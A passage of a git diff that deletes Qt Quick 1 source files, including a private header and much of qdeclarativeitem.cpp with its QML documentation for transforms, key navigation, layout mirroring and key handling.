a/src/qtquick1/graphicsitems/qdeclarativeimplicitsizeitem_p_p.h +++ /dev/null @@ -1,90 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEIMPLICITSIZEITEM_P_H -#define QDECLARATIVEIMPLICITSIZEITEM_P_H - -// -// W A R N I N G -// ------------- -// -// This file is not part of the Qt API. It exists purely as an -// implementation detail. This header file may change from version to -// version without notice, or even be removed. -// -// We mean it. -// - -#include "private/qdeclarativeitem_p.h" -#include "private/qdeclarativepainteditem_p_p.h" - -QT_BEGIN_NAMESPACE - -class QDeclarative1ImplicitSizeItemPrivate : public QDeclarativeItemPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1ImplicitSizeItem) - -public: - QDeclarative1ImplicitSizeItemPrivate() - { - } - - virtual void implicitWidthChanged(); - virtual void implicitHeightChanged(); -}; - - -class QDeclarative1ImplicitSizePaintedItemPrivate : public QDeclarative1PaintedItemPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1ImplicitSizePaintedItem) - -public: - QDeclarative1ImplicitSizePaintedItemPrivate() - { - } - - virtual void implicitWidthChanged(); - virtual void implicitHeightChanged(); -}; - -QT_END_NAMESPACE - -#endif // QDECLARATIVEIMPLICITSIZEITEM_P_H diff --git a/src/qtquick1/graphicsitems/qdeclarativeitem.cpp b/src/qtquick1/graphicsitems/qdeclarativeitem.cpp deleted file mode 100644 index 018fe6a52d..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativeitem.cpp +++ /dev/null @@ -1,3843 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/qdeclarativeitem.h" - -#include "QtQuick1/private/qdeclarativeevents_p_p.h" -#include -#include -#include - -#include -#include -#include -#include -#include -#include -#include -// ### Due to the workaround mentioned in accessibleRole() -#include - -#include -#include -#include -#include -#include -#include - -#include -#include -#include -#include -#include - -#include - -QT_BEGIN_NAMESPACE - -/*! - \qmlclass Transform QGraphicsTransform - \inqmlmodule QtQuick 1 - \ingroup qml-transform-elements - \since QtQuick 1.0 - \brief The Transform elements provide a way of building advanced transformations on Items. - - The Transform element is a base type which cannot be instantiated directly. - The following concrete Transform types are available: - - \list - \o \l Rotation - \o \l Scale - \o \l Translate - \endlist - - The Transform elements let you create and control advanced transformations that can be configured - independently using specialized properties. - - You can assign any number of Transform elements to an \l Item. Each Transform is applied in order, - one at a time. -*/ - -/*! - \qmlclass Translate QDeclarative1Translate - \inqmlmodule QtQuick 1 - \ingroup qml-transform-elements - \since QtQuick 1.0 - \brief The Translate object provides a way to move an Item without changing its x or y properties. - - The Translate object provides independent control over position in addition to the Item's x and y properties. - - The following example moves the Y axis of the \l Rectangle elements while still allowing the \l Row element - to lay the items out as if they had not been transformed: - \qml - import QtQuick 1.0 - - Row { - Rectangle { - width: 100; height: 100 - color: "blue" - transform: Translate { y: 20 } - } - Rectangle { - width: 100; height: 100 - color: "red" - transform: Translate { y: -20 } - } - } - \endqml - - \image translate.png -*/ - -/*! - \qmlproperty real QtQuick1::Translate::x - - The translation along the X axis. -*/ - -/*! - \qmlproperty real QtQuick1::Translate::y - - The translation along the Y axis. -*/ - -/*! - \qmlclass Scale QGraphicsScale - \inqmlmodule QtQuick 1 - \ingroup qml-transform-elements - \since QtQuick 1.0 - \brief The Scale element provides a way to scale an Item. - - The Scale element gives more control over scaling than using \l Item's \l{Item::scale}{scale} property. Specifically, - it allows a different scale for the x and y axes, and allows the scale to be relative to an - arbitrary point. - - The following example scales the X axis of the Rectangle, relative to its interior point 25, 25: - \qml - Rectangle { - width: 100; height: 100 - color: "blue" - transform: Scale { origin.x: 25; origin.y: 25; xScale: 3} - } - \endqml - - \sa Rotation, Translate -*/ - -/*! - \qmlproperty real QtQuick1::Scale::origin.x - \qmlproperty real QtQuick1::Scale::origin.y - - The point that the item is scaled from (i.e., the point that stays fixed relative to the parent as - the rest of the item grows). By default the origin is 0, 0. -*/ - -/*! - \qmlproperty real QtQuick1::Scale::xScale - - The scaling factor for the X axis. -*/ - -/*! - \qmlproperty real QtQuick1::Scale::yScale - - The scaling factor for the Y axis. -*/ - -/*! - \qmlclass Rotation QGraphicsRotation - \inqmlmodule QtQuick 1 - \ingroup qml-transform-elements - \since QtQuick 1.0 - \brief The Rotation object provides a way to rotate an Item. - - The Rotation object gives more control over rotation than using \l Item's \l{Item::rotation}{rotation} property. - Specifically, it allows (z axis) rotation to be relative to an arbitrary point. - - The following example rotates a Rectangle around its interior point 25, 25: - \qml - Rectangle { - width: 100; height: 100 - color: "blue" - transform: Rotation { origin.x: 25; origin.y: 25; angle: 45} - } - \endqml - - Rotation also provides a way to specify 3D-like rotations for Items. For these types of - rotations you must specify the axis to rotate around in addition to the origin point. - - The following example shows various 3D-like rotations applied to an \l Image. - \snippet doc/src/snippets/qtquick1/rotation.qml 0 - - \image axisrotation.png - - \sa {declarative/ui-components/dialcontrol}{Dial Control example}, {declarative/toys/clocks}{Clocks example} -*/ - -/*! - \qmlproperty real QtQuick1::Rotation::origin.x - \qmlproperty real QtQuick1::Rotation::origin.y - - The origin point of the rotation (i.e., the point that stays fixed relative to the parent as - the rest of the item rotates). By default the origin is 0, 0. -*/ - -/*! - \qmlproperty real QtQuick1::Rotation::axis.x - \qmlproperty real QtQuick1::Rotation::axis.y - \qmlproperty real QtQuick1::Rotation::axis.z - - The axis to rotate around. For simple (2D) rotation around a point, you do not need to specify an axis, - as the default axis is the z axis (\c{ axis { x: 0; y: 0; z: 1 } }). - - For a typical 3D-like rotation you will usually specify both the origin and the axis. - - \image 3d-rotation-axis.png -*/ - -/*! - \qmlproperty real QtQuick1::Rotation::angle - - The angle to rotate, in degrees clockwise. -*/ - -QDeclarative1Contents::QDeclarative1Contents(QDeclarativeItem *item) : m_item(item), m_x(0), m_y(0), m_width(0), m_height(0) -{ - //### optimize - connect(this, SIGNAL(rectChanged(QRectF)), m_item, SIGNAL(childrenRectChanged(QRectF))); -} - -QDeclarative1Contents::~QDeclarative1Contents() -{ - QList children = m_item->childItems(); - for (int i = 0; i < children.count(); ++i) { - QDeclarativeItem *child = qobject_cast(children.at(i)); - if(!child)//### Should this be ignoring non-QDeclarativeItem graphicsobjects? - continue; - QDeclarativeItemPrivate::get(child)->removeItemChangeListener(this, QDeclarativeItemPrivate::Geometry | QDeclarativeItemPrivate::Destroyed); - } -} - -QRectF QDeclarative1Contents::rectF() const -{ - return QRectF(m_x, m_y, m_width, m_height); -} - -void QDeclarative1Contents::calcHeight(QDeclarativeItem *changed) -{ - qreal oldy = m_y; - qreal oldheight = m_height; - - if (changed) { - qreal top = oldy; - qreal bottom = oldy + oldheight; - qreal y = changed->y(); - if (y + changed->height() > bottom) - bottom = y + changed->height(); - if (y < top) - top = y; - m_y = top; - m_height = bottom - top; - } else { - qreal top = FLT_MAX; - qreal bottom = 0; - QList children = m_item->childItems(); - for (int i = 0; i < children.count(); ++i) { - QDeclarativeItem *child = qobject_cast(children.at(i)); - if(!child)//### Should this be ignoring non-QDeclarativeItem graphicsobjects? - continue; - qreal y = child->y(); - if (y + child->height() > bottom) - bottom = y + child->height(); - if (y < top) - top = y; - } - if (!children.isEmpty()) - m_y = top; - m_height = qMax(bottom - top, qreal(0.0)); - } - - if (m_height != oldheight || m_y != oldy) - emit rectChanged(rectF()); -} - -void QDeclarative1Contents::calcWidth(QDeclarativeItem *changed) -{ - qreal oldx = m_x; - qreal oldwidth = m_width; - - if (changed) { - qreal left = oldx; - qreal right = oldx + oldwidth; - qreal x = changed->x(); - if (x + changed->width() > right) - right = x + changed->width(); - if (x < left) - left = x; - m_x = left; - m_width = right - left; - } else { - qreal left = FLT_MAX; - qreal right = 0; - QList children = m_item->childItems(); - for (int i = 0; i < children.count(); ++i) { - QDeclarativeItem *child = qobject_cast(children.at(i)); - if(!child)//### Should this be ignoring non-QDeclarativeItem graphicsobjects? - continue; - qreal x = child->x(); - if (x + child->width() > right) - right = x + child->width(); - if (x < left) - left = x; - } - if (!children.isEmpty()) - m_x = left; - m_width = qMax(right - left, qreal(0.0)); - } - - if (m_width != oldwidth || m_x != oldx) - emit rectChanged(rectF()); -} - -void QDeclarative1Contents::complete() -{ - QList children = m_item->childItems(); - for (int i = 0; i < children.count(); ++i) { - QDeclarativeItem *child = qobject_cast(children.at(i)); - if(!child)//### Should this be ignoring non-QDeclarativeItem graphicsobjects? - continue; - QDeclarativeItemPrivate::get(child)->addItemChangeListener(this, QDeclarativeItemPrivate::Geometry | QDeclarativeItemPrivate::Destroyed); - //###what about changes to visibility? - } - - calcGeometry(); -} - -void QDeclarative1Contents::itemGeometryChanged(QDeclarativeItem *changed, const QRectF &newGeometry, const QRectF &oldGeometry) -{ - Q_UNUSED(changed) - //### we can only pass changed if the left edge has moved left, or the right edge has moved right - if (newGeometry.width() != oldGeometry.width() || newGeometry.x() != oldGeometry.x()) - calcWidth(/*changed*/); - if (newGeometry.height() != oldGeometry.height() || newGeometry.y() != oldGeometry.y()) - calcHeight(/*changed*/); -} - -void QDeclarative1Contents::itemDestroyed(QDeclarativeItem *item) -{ - if (item) - QDeclarativeItemPrivate::get(item)->removeItemChangeListener(this, QDeclarativeItemPrivate::Geometry | QDeclarativeItemPrivate::Destroyed); - calcGeometry(); -} - -void QDeclarative1Contents::childRemoved(QDeclarativeItem *item) -{ - if (item) - QDeclarativeItemPrivate::get(item)->removeItemChangeListener(this, QDeclarativeItemPrivate::Geometry | QDeclarativeItemPrivate::Destroyed); - calcGeometry(); -} - -void QDeclarative1Contents::childAdded(QDeclarativeItem *item) -{ - if (item) - QDeclarativeItemPrivate::get(item)->addItemChangeListener(this, QDeclarativeItemPrivate::Geometry | QDeclarativeItemPrivate::Destroyed); - calcWidth(item); - calcHeight(item); -} - -QDeclarativeItemKeyFilter::QDeclarativeItemKeyFilter(QDeclarativeItem *item) -: m_processPost(false), m_next(0) -{ - QDeclarativeItemPrivate *p = - item?static_cast(QGraphicsItemPrivate::get(item)):0; - if (p) { - m_next = p->keyHandler; - p->keyHandler = this; - } -} - -QDeclarativeItemKeyFilter::~QDeclarativeItemKeyFilter() -{ -} - -void QDeclarativeItemKeyFilter::keyPressed(QKeyEvent *event, bool post) -{ - if (m_next) m_next->keyPressed(event, post); -} - -void QDeclarativeItemKeyFilter::keyReleased(QKeyEvent *event, bool post) -{ - if (m_next) m_next->keyReleased(event, post); -} - -void QDeclarativeItemKeyFilter::inputMethodEvent(QInputMethodEvent *event, bool post) -{ - if (m_next) m_next->inputMethodEvent(event, post); -} - -QVariant QDeclarativeItemKeyFilter::inputMethodQuery(Qt::InputMethodQuery query) const -{ - if (m_next) return m_next->inputMethodQuery(query); - return QVariant(); -} - -void QDeclarativeItemKeyFilter::componentComplete() -{ - if (m_next) m_next->componentComplete(); -} - - -/*! - \qmlclass KeyNavigation QDeclarative1KeyNavigationAttached - \inqmlmodule QtQuick 1 - \ingroup qml-basic-interaction-elements - \since QtQuick 1.0 - \brief The KeyNavigation attached property supports key navigation by arrow keys. - - Key-based user interfaces commonly allow the use of arrow keys to navigate between - focusable items. The KeyNavigation attached property enables this behavior by providing a - convenient way to specify the item that should gain focus when an arrow or tab key is pressed. - - The following example provides key navigation for a 2x2 grid of items: - - \snippet doc/src/snippets/qtquick1/keynavigation.qml 0 - - The top-left item initially receives focus by setting \l {Item::}{focus} to - \c true. When an arrow key is pressed, the focus will move to the - appropriate item, as defined by the value that has been set for - the KeyNavigation \l left, \l right, \l up or \l down properties. - - Note that if a KeyNavigation attached property receives the key press and release - events for a requested arrow or tab key, the event is accepted and does not - propagate any further. - - By default, KeyNavigation receives key events after the item to which it is attached. - If the item accepts the key event, the KeyNavigation attached property will not - receive an event for that key. Setting the \l priority property to - \c KeyNavigation.BeforeItem allows the event to be used for key navigation - before the item, rather than after. - - If item to which the focus is switching is not enabled or visible, an attempt will - be made to skip this item and focus on the next. This is possible if there are - a chain of items with the same KeyNavigation handler. If multiple items in a row are not enabled - or visible, they will also be skipped. - - KeyNavigation will implicitly set the other direction to return focus to this item. So if you set - \l left to another item, \l right will be set on that item's KeyNavigation to set focus back to this - item. However, if that item's KeyNavigation has had right explicitly set then no change will occur. - This means that the above example could have been written, with the same behaviour, without specifing - KeyNavigation.right or KeyNavigation.down for any of the items. - - \sa {Keys}{Keys attached property} -*/ - -/*! - \qmlproperty Item QtQuick1::KeyNavigation::left - \qmlproperty Item QtQuick1::KeyNavigation::right - \qmlproperty Item QtQuick1::KeyNavigation::up - \qmlproperty Item QtQuick1::KeyNavigation::down - \qmlproperty Item QtQuick1::KeyNavigation::tab - \qmlproperty Item QtQuick1::KeyNavigation::backtab - - These properties hold the item to assign focus to - when the left, right, up or down cursor keys, or the - tab key are pressed. -*/ - -/*! - \qmlproperty Item QtQuick1::KeyNavigation::tab - \qmlproperty Item QtQuick1::KeyNavigation::backtab - - These properties hold the item to assign focus to - when the Tab key or Shift+Tab key combination (Backtab) are pressed. -*/ - -QDeclarative1KeyNavigationAttached::QDeclarative1KeyNavigationAttached(QObject *parent) -: QObject(*(new QDeclarative1KeyNavigationAttachedPrivate), parent), - QDeclarativeItemKeyFilter(qobject_cast(parent)) -{ - m_processPost = true; -} - -QDeclarative1KeyNavigationAttached * -QDeclarative1KeyNavigationAttached::qmlAttachedProperties(QObject *obj) -{ - return new QDeclarative1KeyNavigationAttached(obj); -} - -QDeclarativeItem *QDeclarative1KeyNavigationAttached::left() const -{ - Q_D(const QDeclarative1KeyNavigationAttached); - return d->left; -} - -void QDeclarative1KeyNavigationAttached::setLeft(QDeclarativeItem *i) -{ - Q_D(QDeclarative1KeyNavigationAttached); - if (d->left == i) - return; - d->left = i; - d->leftSet = true; - QDeclarative1KeyNavigationAttached* other = - qobject_cast(qmlAttachedPropertiesObject(i)); - if(other && !other->d_func()->rightSet){ - other->d_func()->right = qobject_cast(parent()); - emit other->rightChanged(); - } - emit leftChanged(); -} - -QDeclarativeItem *QDeclarative1KeyNavigationAttached::right() const -{ - Q_D(const QDeclarative1KeyNavigationAttached); - return d->right; -} - -void QDeclarative1KeyNavigationAttached::setRight(QDeclarativeItem *i) -{ - Q_D(QDeclarative1KeyNavigationAttached); - if (d->right == i) - return; - d->right = i; - d->rightSet = true; - QDeclarative1KeyNavigationAttached* other = - qobject_cast(qmlAttachedPropertiesObject(i)); - if(other && !other->d_func()->leftSet){ - other->d_func()->left = qobject_cast(parent()); - emit other->leftChanged(); - } - emit rightChanged(); -} - -QDeclarativeItem *QDeclarative1KeyNavigationAttached::up() const -{ - Q_D(const QDeclarative1KeyNavigationAttached); - return d->up; -} - -void QDeclarative1KeyNavigationAttached::setUp(QDeclarativeItem *i) -{ - Q_D(QDeclarative1KeyNavigationAttached); - if (d->up == i) - return; - d->up = i; - d->upSet = true; - QDeclarative1KeyNavigationAttached* other = - qobject_cast(qmlAttachedPropertiesObject(i)); - if(other && !other->d_func()->downSet){ - other->d_func()->down = qobject_cast(parent()); - emit other->downChanged(); - } - emit upChanged(); -} - -QDeclarativeItem *QDeclarative1KeyNavigationAttached::down() const -{ - Q_D(const QDeclarative1KeyNavigationAttached); - return d->down; -} - -void QDeclarative1KeyNavigationAttached::setDown(QDeclarativeItem *i) -{ - Q_D(QDeclarative1KeyNavigationAttached); - if (d->down == i) - return; - d->down = i; - d->downSet = true; - QDeclarative1KeyNavigationAttached* other = - qobject_cast(qmlAttachedPropertiesObject(i)); - if(other && !other->d_func()->upSet){ - other->d_func()->up = qobject_cast(parent()); - emit other->upChanged(); - } - emit downChanged(); -} - -QDeclarativeItem *QDeclarative1KeyNavigationAttached::tab() const -{ - Q_D(const QDeclarative1KeyNavigationAttached); - return d->tab; -} - -void QDeclarative1KeyNavigationAttached::setTab(QDeclarativeItem *i) -{ - Q_D(QDeclarative1KeyNavigationAttached); - if (d->tab == i) - return; - d->tab = i; - d->tabSet = true; - QDeclarative1KeyNavigationAttached* other = - qobject_cast(qmlAttachedPropertiesObject(i)); - if(other && !other->d_func()->backtabSet){ - other->d_func()->backtab = qobject_cast(parent()); - emit other->backtabChanged(); - } - emit tabChanged(); -} - -QDeclarativeItem *QDeclarative1KeyNavigationAttached::backtab() const -{ - Q_D(const QDeclarative1KeyNavigationAttached); - return d->backtab; -} - -void QDeclarative1KeyNavigationAttached::setBacktab(QDeclarativeItem *i) -{ - Q_D(QDeclarative1KeyNavigationAttached); - if (d->backtab == i) - return; - d->backtab = i; - d->backtabSet = true; - QDeclarative1KeyNavigationAttached* other = - qobject_cast(qmlAttachedPropertiesObject(i)); - if(other && !other->d_func()->tabSet){ - other->d_func()->tab = qobject_cast(parent()); - emit other->tabChanged(); - } - emit backtabChanged(); -} - -/*! - \qmlproperty enumeration QtQuick1::KeyNavigation::priority - - This property determines whether the keys are processed before - or after the attached item's own key handling. - - \list - \o KeyNavigation.BeforeItem - process the key events before normal - item key processing. If the event is used for key navigation, it will be accepted and will not - be passed on to the item. - \o KeyNavigation.AfterItem (default) - process the key events after normal item key - handling. If the item accepts the key event it will not be - handled by the KeyNavigation attached property handler. - \endlist -*/ -QDeclarative1KeyNavigationAttached::Priority QDeclarative1KeyNavigationAttached::priority() const -{ - return m_processPost ? AfterItem : BeforeItem; -} - -void QDeclarative1KeyNavigationAttached::setPriority(Priority order) -{ - bool processPost = order == AfterItem; - if (processPost != m_processPost) { - m_processPost = processPost; - emit priorityChanged(); - } -} - -void QDeclarative1KeyNavigationAttached::keyPressed(QKeyEvent *event, bool post) -{ - Q_D(QDeclarative1KeyNavigationAttached); - event->ignore(); - - if (post != m_processPost) { - QDeclarativeItemKeyFilter::keyPressed(event, post); - return; - } - - bool mirror = false; - switch(event->key()) { - case Qt::Key_Left: { - if (QDeclarativeItem *parentItem = qobject_cast(parent())) - mirror = QDeclarativeItemPrivate::get(parentItem)->effectiveLayoutMirror; - QDeclarativeItem* leftItem = mirror ? d->right : d->left; - if (leftItem) { - setFocusNavigation(leftItem, mirror ? "right" : "left"); - event->accept(); - } - break; - } - case Qt::Key_Right: { - if (QDeclarativeItem *parentItem = qobject_cast(parent())) - mirror = QDeclarativeItemPrivate::get(parentItem)->effectiveLayoutMirror; - QDeclarativeItem* rightItem = mirror ? d->left : d->right; - if (rightItem) { - setFocusNavigation(rightItem, mirror ? "left" : "right"); - event->accept(); - } - break; - } - case Qt::Key_Up: - if (d->up) { - setFocusNavigation(d->up, "up"); - event->accept(); - } - break; - case Qt::Key_Down: - if (d->down) { - setFocusNavigation(d->down, "down"); - event->accept(); - } - break; - case Qt::Key_Tab: - if (d->tab) { - setFocusNavigation(d->tab, "tab"); - event->accept(); - } - break; - case Qt::Key_Backtab: - if (d->backtab) { - setFocusNavigation(d->backtab, "backtab"); - event->accept(); - } - break; - default: - break; - } - - if (!event->isAccepted()) QDeclarativeItemKeyFilter::keyPressed(event, post); -} - -void QDeclarative1KeyNavigationAttached::keyReleased(QKeyEvent *event, bool post) -{ - Q_D(QDeclarative1KeyNavigationAttached); - event->ignore(); - - if (post != m_processPost) { - QDeclarativeItemKeyFilter::keyReleased(event, post); - return; - } - - bool mirror = false; - switch(event->key()) { - case Qt::Key_Left: - if (QDeclarativeItem *parentItem = qobject_cast(parent())) - mirror = QDeclarativeItemPrivate::get(parentItem)->effectiveLayoutMirror; - if (mirror ? d->right : d->left) - event->accept(); - break; - case Qt::Key_Right: - if (QDeclarativeItem *parentItem = qobject_cast(parent())) - mirror = QDeclarativeItemPrivate::get(parentItem)->effectiveLayoutMirror; - if (mirror ? d->left : d->right) - event->accept(); - break; - case Qt::Key_Up: - if (d->up) { - event->accept(); - } - break; - case Qt::Key_Down: - if (d->down) { - event->accept(); - } - break; - case Qt::Key_Tab: - if (d->tab) { - event->accept(); - } - break; - case Qt::Key_Backtab: - if (d->backtab) { - event->accept(); - } - break; - default: - break; - } - - if (!event->isAccepted()) QDeclarativeItemKeyFilter::keyReleased(event, post); -} - -void QDeclarative1KeyNavigationAttached::setFocusNavigation(QDeclarativeItem *currentItem, const char *dir) -{ - QDeclarativeItem *initialItem = currentItem; - bool isNextItem = false; - do { - isNextItem = false; - if (currentItem->isVisible() && currentItem->isEnabled()) { - currentItem->setFocus(true); - } else { - QObject *attached = - qmlAttachedPropertiesObject(currentItem, false); - if (attached) { - QDeclarativeItem *tempItem = qvariant_cast(attached->property(dir)); - if (tempItem) { - currentItem = tempItem; - isNextItem = true; - } - } - } - } - while (currentItem != initialItem && isNextItem); -} - -/*! - \qmlclass LayoutMirroring QDeclarative1LayoutMirroringAttached - \inqmlmodule QtQuick 1 - \since QtQuick 1.1 - \ingroup qml-utility-elements - \brief The LayoutMirroring attached property is used to mirror layout behavior. - - The LayoutMirroring attached property is used to horizontally mirror \l {anchor-layout}{Item anchors}, - \l{Using QML Positioner and Repeater Items}{positioner} elements (such as \l Row and \l Grid) - and views (such as \l GridView and horizontal \l ListView). Mirroring is a visual change: left - anchors become right anchors, and positioner elements like \l Grid and \l Row reverse the - horizontal layout of child items. - - Mirroring is enabled for an item by setting the \l enabled property to true. By default, this - only affects the item itself; setting the \l childrenInherit property to true propagates the mirroring - behavior to all child elements as well. If the \c LayoutMirroring attached property has not been defined - for an item, mirroring is not enabled. - - The following example shows mirroring in action. The \l Row below is specified as being anchored - to the left of its parent. However, since mirroring has been enabled, the anchor is horizontally - reversed and it is now anchored to the right. Also, since items in a \l Row are positioned - from left to right by default, they are now positioned from right to left instead, as demonstrated - by the numbering and opacity of the items: - - \snippet doc/src/snippets/qtquick1/layoutmirroring.qml 0 - - \image layoutmirroring.png - - Layout mirroring is useful when it is necessary to support both left-to-right and right-to-left - layout versions of an application to target different language areas. The \l childrenInherit - property allows layout mirroring to be applied without manually setting layout configurations - for every item in an application. Keep in mind, however, that mirroring does not affect any - positioning that is defined by the \l Item \l {Item::}{x} coordinate value, so even with - mirroring enabled, it will often be necessary to apply some layout fixes to support the - desired layout direction. Also, it may be necessary to disable the mirroring of individual - child items (by setting \l {enabled}{LayoutMirroring.enabled} to false for such items) if - mirroring is not the desired behavior, or if the child item already implements mirroring in - some custom way. - - See \l {QML Right-to-left User Interfaces} for further details on using \c LayoutMirroring and - other related features to implement right-to-left support for an application. -*/ - -/*! - \qmlproperty bool QtQuick1::LayoutMirroring::enabled - - This property holds whether the item's layout is mirrored horizontally. Setting this to true - horizontally reverses \l {anchor-layout}{anchor} settings such that left anchors become right, - and right anchors become left. For \l{Using QML Positioner and Repeater Items}{positioner} elements - (such as \l Row and \l Grid) and view elements (such as \l {GridView}{GridView} and \l {ListView}{ListView}) - this also mirrors the horizontal layout direction of the item. - - The default value is false. -*/ - -/*! - \qmlproperty bool QtQuick1::LayoutMirroring::childrenInherit - - This property holds whether the \l {enabled}{LayoutMirroring.enabled} value for this item - is inherited by its children. - - The default value is false. -*/ - -QDeclarative1LayoutMirroringAttached::QDeclarative1LayoutMirroringAttached(QObject *parent) : QObject(parent), itemPrivate(0) -{ - if (QDeclarativeItem *item = qobject_cast(parent)) { - itemPrivate = QDeclarativeItemPrivate::get(item); - itemPrivate->attachedLayoutDirection = this; - } else - qmlInfo(parent) << tr("LayoutDirection attached property only works with Items"); -} - -QDeclarative1LayoutMirroringAttached * QDeclarative1LayoutMirroringAttached::qmlAttachedProperties(QObject *object) -{ - return new QDeclarative1LayoutMirroringAttached(object); -} - -bool QDeclarative1LayoutMirroringAttached::enabled() const -{ - return itemPrivate ? itemPrivate->effectiveLayoutMirror : false; -} - -void QDeclarative1LayoutMirroringAttached::setEnabled(bool enabled) -{ - if (!itemPrivate) - return; - - itemPrivate->isMirrorImplicit = false; - if (enabled != itemPrivate->effectiveLayoutMirror) { - itemPrivate->setLayoutMirror(enabled); - if (itemPrivate->inheritMirrorFromItem) - itemPrivate->resolveLayoutMirror(); - } -} - -void QDeclarative1LayoutMirroringAttached::resetEnabled() -{ - if (itemPrivate && !itemPrivate->isMirrorImplicit) { - itemPrivate->isMirrorImplicit = true; - itemPrivate->resolveLayoutMirror(); - } -} - -bool QDeclarative1LayoutMirroringAttached::childrenInherit() const -{ - return itemPrivate ? itemPrivate->inheritMirrorFromItem : false; -} - -void QDeclarative1LayoutMirroringAttached::setChildrenInherit(bool childrenInherit) { - if (itemPrivate && childrenInherit != itemPrivate->inheritMirrorFromItem) { - itemPrivate->inheritMirrorFromItem = childrenInherit; - itemPrivate->resolveLayoutMirror(); - childrenInheritChanged(); - } -} - -void QDeclarativeItemPrivate::resolveLayoutMirror() -{ - Q_Q(QDeclarativeItem); - if (QDeclarativeItem *parentItem = q->parentItem()) { - QDeclarativeItemPrivate *parentPrivate = QDeclarativeItemPrivate::get(parentItem); - setImplicitLayoutMirror(parentPrivate->inheritedLayoutMirror, parentPrivate->inheritMirrorFromParent); - } else { - setImplicitLayoutMirror(isMirrorImplicit ? false : effectiveLayoutMirror, inheritMirrorFromItem); - } -} - -void QDeclarativeItemPrivate::setImplicitLayoutMirror(bool mirror, bool inherit) -{ - inherit = inherit || inheritMirrorFromItem; - if (!isMirrorImplicit && inheritMirrorFromItem) - mirror = effectiveLayoutMirror; - if (mirror == inheritedLayoutMirror && inherit == inheritMirrorFromParent) - return; - - inheritMirrorFromParent = inherit; - inheritedLayoutMirror = inheritMirrorFromParent ? mirror : false; - - if (isMirrorImplicit) - setLayoutMirror(inherit ? inheritedLayoutMirror : false); - for (int i = 0; i < children.count(); ++i) { - if (QDeclarativeItem *child = qobject_cast(children.at(i))) { - QDeclarativeItemPrivate *childPrivate = QDeclarativeItemPrivate::get(child); - childPrivate->setImplicitLayoutMirror(inheritedLayoutMirror, inheritMirrorFromParent); - } - } -} - -void QDeclarativeItemPrivate::setLayoutMirror(bool mirror) -{ - if (mirror != effectiveLayoutMirror) { - effectiveLayoutMirror = mirror; - if (_anchors) { - _anchors->d_func()->fillChanged(); - _anchors->d_func()->centerInChanged(); - _anchors->d_func()->updateHorizontalAnchors(); - emit _anchors->mirroredChanged(); - } - mirrorChange(); - if (attachedLayoutDirection) { - emit attachedLayoutDirection->enabledChanged(); - } - } -} - -/*! - \qmlclass Keys QDeclarative1KeysAttached - \inqmlmodule QtQuick 1 - \ingroup qml-basic-interaction-elements - \since QtQuick 1.0 - \brief The Keys attached property provides key handling to Items. - - All visual primitives support key handling via the Keys - attached property. Keys can be handled via the onPressed - and onReleased signal properties. - - The signal properties have a \l KeyEvent parameter, named - \e event which contains details of the event. If a key is - handled \e event.accepted should be set to true to prevent the - event from propagating up the item hierarchy. - - \section1 Example Usage - - The following example shows how the general onPressed handler can - be used to test for a certain key; in this case, the left cursor - key: - - \snippet doc/src/snippets/qtquick1/keys/keys-pressed.qml key item - - Some keys may alternatively be handled via specific signal properties, - for example \e onSelectPressed. These handlers automatically set - \e event.accepted to true. - - \snippet doc/src/snippets/qtquick1/keys/keys-handler.qml key item - - See \l{Qt::Key}{Qt.Key} for the list of keyboard codes. - - \section1 Key Handling Priorities - - The Keys attached property can be configured to handle key events - before or after the item it is attached to. This makes it possible - to intercept events in order to override an item's default behavior, - or act as a fallback for keys not handled by the item. - - If \l priority is Keys.BeforeItem (default) the order of key event processing is: - - \list 1 - \o Items specified in \c forwardTo - \o specific key handlers, e.g. onReturnPressed - \o onKeyPress, onKeyRelease handlers - \o Item specific key handling, e.g. TextInput key handling - \o parent item - \endlist - - If priority is Keys.AfterItem the order of key event processing is: - - \list 1 - \o Item specific key handling, e.g. TextInput key handling - \o Items specified in \c forwardTo - \o specific key handlers, e.g. onReturnPressed - \o onKeyPress, onKeyRelease handlers - 